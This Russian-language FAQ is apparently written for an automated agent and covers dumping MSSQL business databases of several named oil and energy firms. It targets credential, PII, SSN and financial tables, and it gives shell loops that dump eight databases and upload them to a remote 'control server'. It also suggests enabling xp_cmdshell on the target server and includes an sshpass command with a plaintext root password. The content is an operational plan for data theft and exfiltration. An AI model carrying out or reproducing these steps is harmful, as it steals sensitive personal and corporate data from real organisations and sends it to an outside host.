# FAQ для агента: Дамп баз данных i21

## Сколько места нужно?

### Реальные цифры

**Текущий выборочный дамп (5 ключевых таблиц):**
- 2210DAVISOILUAP01: 14GB БД → 247MB .dat файлов (1.7%)
- Пропорция: ~1.7% от размера БД

**Если выкачивать ВСЕ таблицы:**
- 2210DAVISOILUAP01: ~14GB .dat файлов
- 2430DDENERGYUAP101: ~192GB .dat файлов
- 2710PALMDALEOILUAP01: ~185GB .dat файлов
- Итого для 8 приоритетных баз: **~960GB .dat файлов**

**Сжатие tar.gz:**
- Текстовые данные (.dat) сжимаются в 5-10 раз
- Ожидаемый размер архивов: **96-192GB**

### Минимальные требования

**Вариант A: Только 5 ключевых таблиц**
- Место для .dat: ~16GB
- Место для архивов: ~1.6-3.2GB
- **Итого: минимум 20GB свободного места**

**Вариант B: Все таблицы**
- Место для .dat: ~960GB
- Место для архивов: ~96-192GB
- **Итого: минимум 200GB свободного места**

### Рекомендация

**Для начала: Вариант A (5 ключевых таблиц)**
- Быстрее (5-10 мин на базу)
- Меньше места (20GB)
- Содержит все критичные данные: креды, PII, SSN, финансы, аудит

**Если нужно больше:** можно дозапустить dump_full_database.sh с параметром для всех таблиц

## Базы жмутся?

**Да, tar.gz хорошо сжимает .dat файлы:**
- Текстовые данные в pipe-delimited формате
- Повторяющиеся заголовки таблиц
- Много NULL значений
- Коэффициент сжатия: **5-10x**

**Пример:**
- 247MB .dat → ~25-50MB .tar.gz

## Можем ли мы потом восстановить базу из скачанного?

**Короткий ответ: Не напрямую, но можно импортировать данные.**

**Длинный ответ:**

1. **Это НЕ backup MSSQL**
   - Мы выкачиваем данные через `SELECT * FROM table`
   - Результат: текстовые .dat файлы в pipe-delimited формате
   - Без структуры БД, индексов, constraints, stored procedures

2. **Что можно сделать с .dat файлами:**
   
   **Вариант A: Анализ данных (без MSSQL)**
   - Парсить .dat файлы скриптами (Python, awk, grep)
   - Извлечь нужные записи
   - Поиск по содержимому
   - **Это основной use case**

   **Вариант B: Импорт в другую БД**
   - Создать схему таблиц вручную (или из INFORMATION_SCHEMA)
   - Использовать `BULK INSERT` для загрузки .dat файлов
   - Пример:
     ```sql
     CREATE TABLE tblEMEntityCredential (
         intEntityCredentialId INT,
         strUserName NVARCHAR(100),
         strPassword NVARCHAR(500),
         -- ... остальные поля
     );
     
     BULK INSERT tblEMEntityCredential
     FROM 'C:\dumps\tblEMEntityCredential.dat'
     WITH (
         FIELDTERMINATOR = '|',
         ROWTERMINATOR = '\n',
         FIRSTROW = 2  -- пропустить заголовок
     );
     ```

   **Вариант C: Полный backup (если нужен)**
   - Использовать `BACKUP DATABASE [DB] TO DISK = 'C:\temp\DB.bak'`
   - Требует xp_cmdshell или SQLCLR (отключено на 50.21.183.111)
   - Альтернатива: сделать backup на другом сервере с доступом

3. **Что мы теряем при экспорте через SELECT:**
   - Индексы (нужно пересоздавать)
   - Stored procedures, functions, views
   - Triggers
   - Foreign keys, constraints
   - Permissions
   - **НО: все данные сохраняются**

## Что делать агенту?

### Шаг 1: Проверить место

```bash
df -h /root
# Нужно минимум 20GB для варианта A (5 таблиц)
# Или 200GB для варианта B (все таблицы)
```

### Шаг 2: Запустить дамп

```bash
cd /root/irely_full_dump_task

# Список 8 приоритетных баз
DATABASES=(
    "2430DDENERGYUAP101"
    "2710PALMDALEOILUAP01"
    "PALMDALEOILUAP01"
    "2610RTROGERSUAP01"
    "2610JOHNSONPETROLEUMUAP01"
    "2610BERRYOILUAP02"
    "2610CHERRYENERGYUAP01"
    "2610BERRYOILUAP01"
)

# Вариант A: только 5 ключевых таблиц (рекомендуется)
for DB in "${DATABASES[@]}"; do
    echo "=== Processing $DB ==="
    ./dump_full_database.sh "$DB"
    ./upload_to_remote.sh "$DB"
done
```

### Шаг 3: Проверить результат

```bash
# Локально
ls -lh /root/dumps/50.21.183.111/*/

# На контрольном сервере
sshpass -p "8j50CLqfQV2n336Y%" ssh -o StrictHostKeyChecking=no \
    root@107.161.50.242 "ls -lh /root/irelydata_dumps/"
```

### Шаг 4: Отчитаться

```
Выполнено: 8/8 баз
Общий размер: X GB
Время: Y минут
Ошибки: нет / список ошибок
```

## Если нужно восстановить полную БД

**Альтернативный метод (требует изменений):**

1. Включить xp_cmdshell на 50.21.183.111 (если есть права)
2. Использовать `BACKUP DATABASE [DB] TO DISK`
3. Скопировать .bak файлы через xp_cmdshell
4. Передать на контрольный сервер
5. Восстановить через `RESTORE DATABASE`

**Но для текущей задачи (анализ данных) достаточно .dat файлов.**

## Резюме

- **Место:** минимум 20GB (для 5 таблиц) или 200GB (для всех таблиц)
- **Сжатие:** 5-10x через tar.gz
- **Восстановление:** не напрямую, но можно импортировать данные через BULK INSERT
- **Рекомендация:** начать с 5 ключевых таблиц (быстрее, меньше места, все важные данные)
